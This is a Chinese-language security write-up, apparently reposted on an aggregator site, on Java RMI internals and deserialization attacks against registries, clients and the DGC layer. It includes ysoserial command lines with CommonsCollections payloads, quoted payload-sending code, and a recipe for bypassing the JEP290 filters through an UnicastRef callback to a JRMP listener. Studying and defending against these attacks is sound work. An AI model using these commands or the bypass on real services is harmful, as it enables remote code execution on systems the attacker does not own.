Java RMI

RMI - 安全篇

RMI分為三個主體部分:

*Client-客戶端*:客戶端調用服務端的方法

*Server-服務端*:遠程調用方法對象的提供者,也是代碼真正執行的地方,執行結束會返回給客戶端一個方法執行的結果。

*Registry-注冊中心*:其實本質就是一個map,相當于是字典一樣,用于客戶端查詢要調用的方法的引用。

總體RMI的調用實現目的就是調用遠程機器的類跟調用一個寫在自己的本地的類一樣。

唯一區別就是RMI服務端提供的方法,被調用的時候該方法是執行在服務端。

*宏觀上看,RMI遠程調用步驟*

1)客戶對象調用客戶端輔助對象上的方法;

2)客戶端輔助對象打包調用信息(變量,方法名),通過網絡發送給服務端輔助對象;

3)服務端輔助對象將客戶端輔助對象發送來的信息解包,找出真正被調用的方法以及該方法所在對象;

4)調用真正服務對象上的真正方法,并將結果返回給服務端輔助對象;

5)服務端輔助對象將結果打包,發送給客戶端輔助對象;

6)客戶端輔助對象將返回值解包,返回給客戶對象;

7)客戶對象獲得返回值;

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

詳細來看,對于Client來說,他甚至可以不知道有Server的存在,所有他需要的只是一個stub,對于Client來說,調用遠程方法就是調用Stub的方法,

從我們一個局外人的角度上看,數據是在Client和Server之間是橫向流動的,但是微觀上看整個流程必有網絡層面的大量的縱向流動,一個請求先從Client發出,交給Stub,走過Transport Layer之后交由Skeleton,最后到Server,Server調用相應方法,然后將結果原路返回,流程如下:

1.Server監聽一個端口,此端口由JVM隨機選擇(這一點在ysoserial中可見);

2.Client對于Server上的遠程對象的位置信息(通信地址和端口)一無所知,只知道****向stub發起請求****,而stub中包含了這些信息,并封裝了底層網絡操作;

3.Client調用Stub上對應的方法;

4.Stub連接到Server監聽的通信端口并提交方法的參數;

5.Server上執行具體的方法,并****將結果原路返回給Stub****;

對于Client來說,遠程調用的執行結果是Stub給它的,從Client看來就好像是Stub在本地執行了這個方法一樣。

*RMI服務端與客戶端實現*

*服務端*

E:\beifen\java\rmi-jndi-ldap-jrmp-jmx-jms-master\java-rmi-server\src\main\java\com\longofo\javarmi\RMIServer.java

package com.longofo.javarmi;import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;public class RMIServer {/*** Java RMI 服務端** @param args*/public static void main(String[] args) {try {// 實例化服務端遠程對象ServicesImpl obj = new ServicesImpl();// 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);Registry reg;try {// 創建Registryreg = LocateRegistry.createRegistry(9998);System.out.println("Java RMI registry created. port on 9998...");} catch (Exception e) {System.out.println("Using existing registry");reg = LocateRegistry.getRegistry();}// 綁定遠程對象到Registryreg.bind("Services", services);} catch (RemoteException e) {e.printStackTrace();} catch (AlreadyBoundException e) {e.printStackTrace();}}
}

關于綁定的地址很多博客會rmi://ip:port/Objectname的形式

實際上看rebind源碼就知道rmi:寫不寫都行。

port如果默認是1099,不寫會自動補上,其他端口就必須寫

這里就會想一個問題:注冊中心跟服務端可以分離么?

個人感覺在分布式環境下是可以分離的,但是網上看到的代碼都沒見到分離的,以及****官方文檔****是這么說的:

出于安全原因,應用程序只能綁定或取消綁定到在同一主機上運行的注冊中心。這樣可以防止客戶端刪除或覆蓋服務器的遠程注冊表中的條目。但是,查找操作是任意主機都可以進行的。

那么就是****一般來說注冊中心跟服務端是不能分離的****。

*客戶端*

E:\beifen\java\rmi-jndi-ldap-jrmp-jmx-jms-master\java-rmi-client\src\main\java\com\longofo\javarmi\RMIClient.java

package com.longofo.javarmi;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIClient {/*** Java RMI惡意利用demo** @param args* @throws Exception*/public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9998);// 獲取遠程對象的引用Services services = (Services) registry.lookup("Services");
//        PublicKnown malicious = new PublicKnown();
//        malicious.setParam("calc");
//        malicious.setMessage("haha");// 使用遠程對象的引用調用對應的方法
//        System.out.println(services.sendMessage(malicious));System.out.println(services.hello());}
}

需要使用遠程接口(此處是直接引用服務端的類,客戶端不知道這個類的源代碼也是可以的,重點是包名,類名必須一致,serialVersionUID一致)

Naming.lookup查找遠程對象,rmi:可省略

*傳輸過程*

客戶端序列化傳輸調用函數的輸入參數至服務端,服務端返回序列化的執行結果至客戶端。

對應的代碼是這一句

String ret = hello.hello(“input!gogogogo”);

RMI服務端與客戶端readObject其實位置是同一個地方,只是調用棧不同。

*服務端開啟調試*

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

*客戶端開啟調試*

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

服務端的rt.jar.sun.rmi.server.UnicastServerRef#dispatch

    // 通過客戶端提供的var4去驗證客戶端想要調用的方法,在這里有沒有
?    // ***\*this.hashToMethod_Map\*******\*就是在服務端實現的RMI服務對象的方法\****
?    Method var8 = (Method)this.hashToMethod_Map.get(var4);
?    // 如果沒有,var8就為null,報錯“想調用的方法在這里不存在”
?    if (var8 == null) {
?      throw new UnmarshalException("unrecognized method hash: method not supported by remote object");

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

*this.hashToMethod_Map**就是在服務端實現的RMI服務對象的方法*

這里切了jdk為8u66

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

要想全局搜索生效,還需清下緩存。

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

–RMI服務端反序列化攻擊RMI注冊端

*注冊中心代碼*

創建一個繼承java.rmi.Remote的接口

public interface HelloInterface extends java.rmi.Remote {public String sayHello(String from) throws java.rmi.RemoteException;
}

創建注冊中心代碼

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;public class Registry {public static void main(String[] args) {
?    try {
?      LocateRegistry.createRegistry(1099);
?    } catch (RemoteException e) {
?      e.printStackTrace();
?    }
?    while (true) ;}
}

利用ysoserial.exploit.RMIRegistryExploit即可(在bind(name,payload)這里插入payload)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.189.136 1099 CommonsCollections1 “calc”

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

觸發反序列化操作位置

sun.rmi.registry.*RegistryImpl_Skel#dispatch*(我們可以叫做RMI注冊任務分發處,就是注冊端處理請求的地方)其實是從sun.rmi.server.*UnicastServerRef#dispatch*(RMI請求分發處)那邊過來的。

sun.rmi.registry.RegistryImpl_Skel#dispatch:

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
?    //一處接口hash驗證
?    if (var4 != 4905912898345647071L) {
?      throw new SkeletonMismatchException("interface hash mismatch");
?    } else {
?    //設定變量開始處理請求
?      //var6為RegistryImpl對象,調用的就是這個對象的bind、list等方法
?      RegistryImpl var6 = (RegistryImpl)var1;
?      //接受客戶端輸入流的參數變量
?      String var7;
?      Remote var8;
?      ObjectInput var10;
?      ObjectInput var11;
?      //var3表示對應的方法值0-4,這個數字是跟RMI客戶端約定好的
?      //比如RMI客戶端發送bind請求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的這一句
?      //super.ref.newCall(this, operations, 0, 4905912898345647071L);
?      switch(var3) {
?      //統一刪除了try等語句
?      case 0:
?          //bind(String,Remote)分支
?          var11 = var2.getInputStream();
?          //1.反序列化觸發處
?          var7 = (String)var11.readObject();
?          var8 = (Remote)var11.readObject();
?          var6.bind(var7, var8);
?      case 1:
?          //list()分支
?          var2.releaseInputStream();
?          String[] var97 = var6.list();
?          ObjectOutput var98 = var2.getResultStream(true);
?          var98.writeObject(var97);?      case 2:
?          //lookup(String)分支
?          var10 = var2.getInputStream();
?          //2.反序列化觸發處
?          var7 = (String)var10.readObject();
?          var8 = var6.lookup(var7);?      case 3:
?          //rebind(String,Remote)分支
?          var11 = var2.getInputStream();
?          //3.反序列化觸發處
?          var7 = (String)var11.readObject();
?          var8 = (Remote)var11.readObject();
?          var6.rebind(var7, var8);?      case 4:
?          //unbind(String)分支
?          var10 = var2.getInputStream();
?          //4.反序列化觸發處
?          var7 = (String)var10.readObject();
?          var6.unbind(var7);
?      default:
?        throw new UnmarshalException("invalid method number");
?      }?    }
}

可以得到4個反序列化觸發處:lookup、unbind、rebind、bind

4個接口有兩類參數,String和Remote類型的Object。

RMI注冊端沒有任何校驗,payload放在Remote參數位置可以攻擊成功,放在String參數位置也可以攻擊成功。

–RMI注冊端反序列化攻擊RMI客戶端

利用ysoserial.exploit.JRMPListener即可(在高版本jdk下ysoserial的JRMPListener依然可以利用)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 “calc”

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 “calc.exe” (高版本下實測可用)

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

客戶端代碼位置

sun.rmi.registry.RegistryImpl_Stub#lookup

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

90行調用newCall方法創建socket連接,94行序列化lookup參數,104行反序列化返回值,而此時Registry的返回值是CommonsCollections1的調用鏈,所以這里直接反序列化就會觸發。

–RMI客戶端反序列化攻擊RMI注冊端

利用ysoserial.exploit.JRMPClient即可

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.189.136 1099 CommonsCollections1 “calc”

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集機制來管理遠程對象的生命周期,可以通過與DGC通信的方式發送惡意payload讓注冊中心反序列化。

sun.rmi.transport.DGCImpl_Skel#dispatch(跟上邊的服務端攻擊注冊端
(sun.rmi.registry.RegistryImpl_Skel#dispatch)不一樣,但極其類似)

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {//一樣是一個dispatch用于分發作用的方法//固定接口hash校驗if (var4 != -669196253586618813L) {
?    throw new SkeletonMismatchException("interface hash mismatch");} else {
?    DGCImpl var6 = (DGCImpl)var1;
?    ObjID[] var7;
?    long var8;
?    //判斷dirty和clean分支流
?    switch(var3) {
?      //***\*clean分支流\****
?      case 0:
?        VMID var39;
?        boolean var40;
?        try {
?          //從客戶端提供的輸入流取值
?          ObjectInput var14 = var2.getInputStream();
?          //對于取值進行反序列化,***漏洞觸發點***
?          var7 = (ObjID[])var14.readObject();
?          var8 = var14.readLong();
?          var39 = (VMID)var14.readObject();
?          var40 = var14.readBoolean();
?        } catch (IOException var36) {
?          throw new UnmarshalException("error unmarshalling arguments", var36);
?        } catch (ClassNotFoundException var37) {
?          throw new UnmarshalException("error unmarshalling arguments", var37);
?        } finally {
?          var2.releaseInputStream();
?        }
?        //進行clean操作,已經完成了攻擊,之后操作已經不重要了。
?        var6.clean(var7, var8, var39, var40);?        //..省略部分無關操作
?      //***\*dirty方法分支流\****,跟clean在漏洞觸發點上是一樣的
?      case 1:
?        Lease var10;
?        try {
?          //從客戶端提供的輸入流取值
?          ObjectInput var13 = var2.getInputStream();
?          //對于取值進行反序列化,***漏洞觸發點***
?          var7 = (ObjID[])var13.readObject();
?          var8 = var13.readLong();
?          var10 = (Lease)var13.readObject();
?        } catch (IOException var32) {
?          throw new UnmarshalException("error unmarshalling arguments", var32);
?        } catch (ClassNotFoundException var33) {
?          throw new UnmarshalException("error unmarshalling arguments", var33);
?        } finally {
?          var2.releaseInputStream();
?        }?        Lease var11 = var6.dirty(var7, var8, var10);?        //..省略無關操作
?      default:
?        throw new UnmarshalException("invalid method number");
?    }}

這個DGC是用于維護服務端中被客戶端使用的遠程引用才存在的。其中包括兩個方法dirty和clean,簡單來說:

客戶端想要使用服務端上的遠程引用,使用dirty方法來注冊一個。同時這還跟租房子一樣,過段時間繼續用的話還要再調用一次來續租。

客戶端不使用的時候,需要調用clean方法來清除這個遠程引用。

由于我們的RMI服務就是基于遠程引用的,其底層的遠程引用維護就是使用DGC,起一個RMI服務必有DGC層。于是我們就打這個DGC服務。

相對于RMIRegistryExploit模塊,這個JRMPClient模塊攻擊范圍更廣,因為RMI服務端或者RMI注冊端都會開啟DGC服務端。

DGCImpl_Skel是服務端代碼,DGCImpl_Stub是客戶端代碼;但是這兩個class無法下斷點調試(可能是動態生成)。所以在其內部調用的其他方法下斷點來調試。

DGC客戶端處:

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

DGC服務端處:

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

之前RMIRegistryExploit是bind(name,payload)這里插入payload,然后傳輸到服務端。

*DGC客戶端**插入payload的位置*

sun.rmi.transport.DGCImpl_Stub#dirty(clean其實也一樣)

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
?    try {
?      //開啟了一個連接,似曾相識的 669196253586618813L 在服務端也有
?      RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);?      try {
?        //獲取連接的輸入流
?        ObjectOutput var6 = var5.getOutputStream();
?        //寫入一個對象,在實現的本意中,這里是一個ID的對象列表ObjID[]
?        //***這里就是我們payload寫入的地方***
?        var6.writeObject(var1);
?        //------
?        var6.writeLong(var2);
?        var6.writeObject(var4);
?      } catch (IOException var20) {
?        throw new MarshalException("error marshalling arguments", var20);
?      }?      super.ref.invoke(var5);?      Lease var24;
?      try {
?        ObjectInput var9 = var5.getInputStream();
?        var24 = (Lease)var9.readObject();
?      //省略大量錯誤處理..
}

針對這種很底層的payload的poc構建通常使用自實現一個客戶端去拼接序列化數據包。

ysoserial的JRMP-Client exploit模塊就是這么實現的,其核心在于makeDGCCall方法:

// 傳入目標RMI注冊端(也是DGC服務端)的IP端口,以及攻擊載荷的payload對象。
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {InetSocketAddress isa = new InetSocketAddress(hostname, port);Socket s = null;DataOutputStream dos = null;try {
?    // 建立一個socket通道,并為賦值
?    s = SocketFactory.getDefault().createSocket(hostname, port);
?    s.setKeepAlive(true);
?    s.setTcpNoDelay(true);?    // 讀取socket通道的數據流
?    OutputStream os = s.getOutputStream();
?    dos = new DataOutputStream(os);?    // *******開始拼接數據流*********
?    // 以下均為特定協議格式常量
?    // 傳輸魔術字符:0x4a524d49(代表協議)
?    dos.writeInt(TransportConstants.Magic);
?    // 傳輸協議版本號:2(就是版本號)
?    dos.writeShort(TransportConstants.Version);
?    // 傳輸協議類型: 0x4c (協議的種類,好像是單向傳輸數據,不需要TCP的ACK確認)
?    dos.writeByte(TransportConstants.SingleOpProtocol);
?    // 傳輸指令-RMI call:0x50
?    dos.write(TransportConstants.Call);?    @SuppressWarnings ( "resource" )
?    final ObjectOutputStream objOut = new MarshalOutputStream(dos);
?    // DGC的固定讀取格式
?    objOut.writeLong(2); // DGC
?    objOut.writeInt(0);
?    objOut.writeLong(0);
?    objOut.writeShort(0);
?    // 選取DGC服務端的分支選dirty
?    objOut.writeInt(1); // dirty
?    // 固定的hash值
?    objOut.writeLong(-669196253586618813L);
?    // 我們的payload寫入的地方
?    objOut.writeObject(payloadObject);?    os.flush();}

*payload觸發點**(DGC服務端)*

sun.rmi.transport.DGCImpl_Skel#dispatch

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

*DGC讀取格式是固定的*

在sun.rmi.transport.Transport#serviceCall讀取了參數之后進行了校驗

try {id = ObjID.read(call.getInputStream());} catch (java.io.IOException e) {throw new MarshalException("unable to read objID", e);}/* get the remote object */
//該dgcID是一個常量,此處進行了驗證
Transport transport = id.equals(dgcID) ? null : this;
//根據讀取出來的id里面的[0,0,0](三個都是我們序列化寫入的值)分別是:
//1.服務端uid給客戶端的遠程對象唯一標識編號
//2.遠程對象有效時長用的時間戳
//3.用于同一時間申請的統一遠程對象的另一個用于區分的隨機數
//服務端去查詢這三個值的hash,判斷當前DGC客戶端有沒有服務端的遠程對象
//就是dirty,clean那一套東西
Target target =
ObjectTable.getTarget(new ObjectEndpoint(id, transport));if (target == null || (impl = target.getImpl()) == null) {
throw new NoSuchObjectException("no such object in table");
}

–JEP290修復

在JEP290規范之后,即JAVA版本****6u141, 7u131, 8u121****之后,以上攻擊就不奏效了(RMI客戶端利用傳遞參數反序列化攻擊RMI服務端不受限制)。

JEP290修復之前,即Java版本6u141、7u131、8u121之前,直接用yso中的兩個exploit
ysoserial.exploit.JRMPClient

ysoserial.exploit.RMIRegistryExploit

JEP290修復之后,即Java版本6u141、7u131、8u121之后,針對于yso中的兩個exploit
ysoserial.exploit.JRMPClient

ysoserial.exploit.RMIRegistryExploit
jdk分別做了相關白名單

針對于ysoserial.exploit.JRMPClient
調用棧:
checkInput:409, DGCImpl (sun.rmi.transport)
access 300 : 72 , D G C I m p l ( s u n . r m i . t r a n s p o r t ) l a m b d a 300:72, DGCImpl (sun.rmi.transport) lambda 300:72,DGCImpl(sun.rmi.transport)lambdarun$0:343, DGCImpl$2 (sun.rmi.transport)
checkInput:-1, 1076496284 (sun.rmi.transport.DGCImpl 2 2 2$Lambda$2)
filterCheck:1313, ObjectInputStream (java.io)
readNonProxyDesc:1994, ObjectInputStream (java.io)
readClassDesc:1848, ObjectInputStream (java.io)
readObject:459, ObjectInputStream (java.io)
dispatch:90, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)

在sun.rmi.transport.DGCImpl#checkInput()添加白名單
可以看到這里的白名單包括Primitive、ObjID、UID、VMID、Lease等,ysoserial傳遞的payload對象類型并不在白名單范圍中,因此會返回Status.REJECTED導致利用失敗。經過后續的查找發現這種利用姿勢因為在高版本jdk的嚴格白名單過濾場景下基本已經沒有利用可能了。

針對于ysoserial.exploit.RMIRegistryExploit
調用棧:
registryFilter:427, RegistryImpl (sun.rmi.registry)
checkInput:-1, 523691575 (sun.rmi.registry.RegistryImpl$$Lambda$4)
filterCheck:1313, ObjectInputStream (java.io)
readProxyDesc:1932, ObjectInputStream (java.io)
readClassDesc:1845, ObjectInputStream (java.io)
readOrdinaryObject:2158, ObjectInputStream (java.io)
readObject0:1665, ObjectInputStream (java.io)
readObject:501, ObjectInputStream (java.io)
readObject:459, ObjectInputStream (java.io)
dispatch:91, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)

在sun.rmi.registry.RegistryImpl#registryFilter()添加白名單
·前邊的sun.rmi.transport.DGCImpl#checkInput()是針對分布式垃圾收集器的
·當前的sun.rmi.registry.RegistryImpl#registryFilter()是針對RMI注冊機制的
這兩個的過濾白名單是不一樣的,也就為后續的繞過埋下了基礎。
可以看到相關的白名單有Number、Remote、Proxy、UnicastRef、RMIClientSocketFactory、RMIServerSocketFactory、ActivationID、UID這幾個類,而后續的繞過就是其中的UnicastRef。

sun.rmi.transport.DGCImpl#checkInput過濾器:private static Status checkInput(FilterInfo var0) {
?    //與sun.rmi.registry.RegistryImpl#registryFilter處過濾器完全一致
?    if (dgcFilter != null) {
?      Status var1 = dgcFilter.checkInput(var0);
?      if (var1 != Status.UNDECIDED) {
?        return var1;
?      }
?    }?    if (var0.depth() > (long)DGC_MAX_DEPTH) {
?      return Status.REJECTED;
?    } else {
?      Class var2 = var0.serialClass();
?      if (var2 == null) {
?        return Status.UNDECIDED;
?      } else {
?        while(var2.isArray()) {
?          if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGC_MAX_ARRAY_SIZE) {
?            return Status.REJECTED;
?          }?          var2 = var2.getComponentType();
?        }?        if (var2.isPrimitive()) {
?          return Status.ALLOWED;
?        } else {
?          //4種白名單限制
?          return var2 != ObjID.class &&
?            var2 != UID.class &&
?            var2 != VMID.class &&
?            var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;
?        }
?      }
?    }}sun.rmi.registry.RegistryImpl#registryFilterprivate static Status registryFilter(FilterInfo var0) {
?    if (registryFilter != null) {
?      Status var1 = registryFilter.checkInput(var0);
?      if (var1 != Status.UNDECIDED) {
?        return var1;
?      }
?    }?    if (var0.depth() > 20L) {
?      return Status.REJECTED;
?    } else {
?      Class var2 = var0.serialClass();
?      if (var2 != null) {
?        if (!var2.isArray()) {
?          return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
?        } else {
?          return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
?        }
?      } else {
?        return Status.UNDECIDED;
?      }
?    }
}

白名單列表:

String.class

Number.class

Remote.class

Proxy.class

UnicastRef.class

RMIClientSocketFactory.class

RMIServerSocketFactory.class

ActivationID.class

UID.class

*調用棧*

registryFilter:427, RegistryImpl (sun.rmi.registry)

checkInput:-1, 2059904228 (sun.rmi.registry.RegistryImpl$Lambda$2)

filterCheck:1239, ObjectInputStream (java.io)

readProxyDesc:1813, ObjectInputStream (java.io)

readClassDesc:1748, ObjectInputStream (java.io)

readOrdinaryObject:2042, ObjectInputStream (java.io)

readObject0:1573, ObjectInputStream (java.io)

readObject:431, ObjectInputStream (java.io)

dispatch:76, RegistryImpl_Skel (sun.rmi.registry)

oldDispatch:468, UnicastServerRef (sun.rmi.server)

dispatch:300, UnicastServerRef (sun.rmi.server)

run:200, Transport$1 (sun.rmi.transport)

run:197, Transport$1 (sun.rmi.transport)

doPrivileged:-1, AccessController (java.security)

serviceCall:196, Transport (sun.rmi.transport)

handleMessages:573, TCPTransport (sun.rmi.transport.tcp)

run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)

lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)

run:-1, 714624149 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$Lambda$5)

doPrivileged:-1, AccessController (java.security)

run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)

runWorker:1149, ThreadPoolExecutor (java.util.concurrent)

run:624, ThreadPoolExecutor$Worker (java.util.concurrent)

run:748, Thread (java.lang)

–利用JRMP反序列化繞過JEP290

JEP290默認只為RMI注冊表(RMI Register層)和RMI分布式垃圾收集器(DGC層)提供了相應的內置過濾器,但是最底層的JRMP是沒有做過濾器的。

*JRMP*

Java遠程消息交換協議(Java Remote MessagingProtocol),是特定于 Java 技術的、用于查找和引用遠程對象的協議。這是運行在 Java 遠程方法調用 RMI 之下、TCP/IP 之上的線路層協議。作為一個Java特有的、適用于Java之間遠程調用的基于流的協議,要求客戶端和服務器上都使用Java對象。

*JRMP服務端打JRMP客戶端*

JRMP是DGC和RMI的底層通訊層,DGC和RMI的最終調用都回到JRMP這一層來(大概是這樣)。

利用ysoserial.exploit.JRMPListener即可

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 “calc”

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

客戶端:

public class Client {public static void main(String[] args) throws Exception{
?    String url = "rmi://127.0.0.1:1099/User";
?    Object a = Naming.lookup(url);
?    User userClient = (User)Naming.lookup(url);

—UnicastRef對象

只能利用ysoserial.exploit.RMIRegistryExploit,ysoserial.exploit.JRMPClient由于白名單限制已不可用。

可參考:

記一次高版本下遠程RMI反序列化利用分析 (qq.com)

具體的思路大概是傳遞一個在白名單中的UnicastRef對象,其中包含序列化的一個RMI主動鏈接請求,經過上面的registryFilter之后來到反序列化環節解析后會主動發起一個RMI連接從而繞過JEP290。因此這里的利用得用到2個模塊:

  1. 生成UnicastRef對象并發送
  2. 起一個JRMPListener來監聽端口,等待反序列化后的主動回連

利用JRMP(UnicastRef)
CC6的調用棧:
readObject:297, HashSet (java.util)
readObject:371, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)

關鍵點:
sun.rmi.registry.RegistryImpl_Skel#dispatch()中的readObject()只是還原惡意UnicastRef對象,而releaseInputStream()才是真正調用此惡意UnicastRef對象發出JRMP請求的

releaseInputStream()調用惡意UnicastRef對象發出JRMP請求
調用棧:
newCall:336, UnicastRef (sun.rmi.server)
dirty:100, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:113, RegistryImpl_Skel (sun.rmi.registry)

bind() + UnicastRef
lookup() + UnicastRef

CheckAccess策略
以jdk8為例,8u141之后,在sun.rmi.registry.RegistryImpl_Skel#dispatch()中,在readObject()之前會有checkAccess()來檢查地址
有checkAccess()以后不能再遠程bind,即使可以繞過白名單依然會報錯。

注冊中心時反序列化的點在RegistryImpl_Skel#dispatch(),其中的var3代表客戶端發起連接的方法,其中對應的關系為:
·0 -> bind()
·1 -> list()
·2 -> lookup()
·3 -> rebind()
·4 -> unbind()

改造bind()進行繞過

先來看看sun.rmi.registry.RegistryImpl_Skel#dispatch()
關鍵代碼如下:

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

這里繞過的關鍵點首先是參數var3,通過一個switch判斷進到不同的case語句中,可以看到在case0/3/4的一開始就會調用checkAccess()檢查bind的來源,因此要控制var3的值讓它等于case1或case2從而繞過checkAccess()。而var3的值是在調用棧上層的sun.rmi.server.UnicastServerRef#dispatch()中從序列化的數據中用readInt()讀出來的,也就是說這個值是可以控制的,這個值在代碼注釋中的解釋是opnum,也就是操作數,根據傳入對象的不同來選擇不同的處理邏輯。

var3的可控輸入點在原始bind(),代碼如下:

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

可以看到try之后的第一個語句中的newCall方法,其中第三個參數即是opnum,在原始bind方法中opnum為0,需要將opnum的值設置為1或2。

那么到底是1還是2呢?
其實,調試原本的case0的邏輯可知,readObeject()并不是真正的觸發點,只是從輸入中反序列化出我們構造的UnicastRef對象,然后進到finally的releaseInputStream()。
因此要進入的case得同時包含readObeject()和releaseInputStream()這兩個方法,而符合這個條件的只有case2。
但其實,case2就是對lookup()的處理邏輯,所以只有1個readObeject(),原本的case0是有2個readObeject()的,所以還需要修改writeObeject()的順序

C:\Users\z\Desktop\tools\yso\ysoserial\src\main\java\ysoserial\exploit\RMIRegistryExploit1_JEP290.java

理解了bind()的改造,lookup()的改造就很簡單了,其實就是替換參數類型
在本地重寫一個lookup,替換原來的String參數為Obejct

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/18341.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/18341.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/18341.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

詞嵌入nn.embedding的解釋

一、embedding如何處理文本 在NLP任務中,首先要對文本進行處理,將文本進行編碼轉換,形成向量表達,embedding處理文本的流程如下: (1)輸入一段文本,中文會先分詞(如jieb…

python雙色球選號程序的實現與解析

新書上架~👇全國包郵奧~ python實用小工具開發教程http://pythontoolsteach.com/3 歡迎關注我👆,收藏下次不迷路┗|`O′|┛ 嗷~~ 目錄 一、引言:雙色球選號游戲的魅力 二、程序設計與實現 1. 生成紅色球號碼 2. 生…

3.游戲中自定義數據類型的解讀分析

知識來源于騰訊課堂易道云 結構的解釋: 計算機里的所有東西都是用二進制表示的,二進制是數字,我們用的阿拉伯數字0-9這個數字是十進制,計算機用的是二進制只有0或1,然后都是一堆0或1的數字,游戲中怎么把這…

AD使用問題

設計流程: 1.先創建項目——添加原理圖,原理圖庫,PCB,PCB庫 2.畫原理圖庫和封裝庫 主要有三種方法: (1)手動畫庫和封裝,常常用于嘉立創查詢不到的器件 (2&#xff0…

雙機多網口配置同網段地址,可以通過目的IP確定接收數據的網卡嗎?

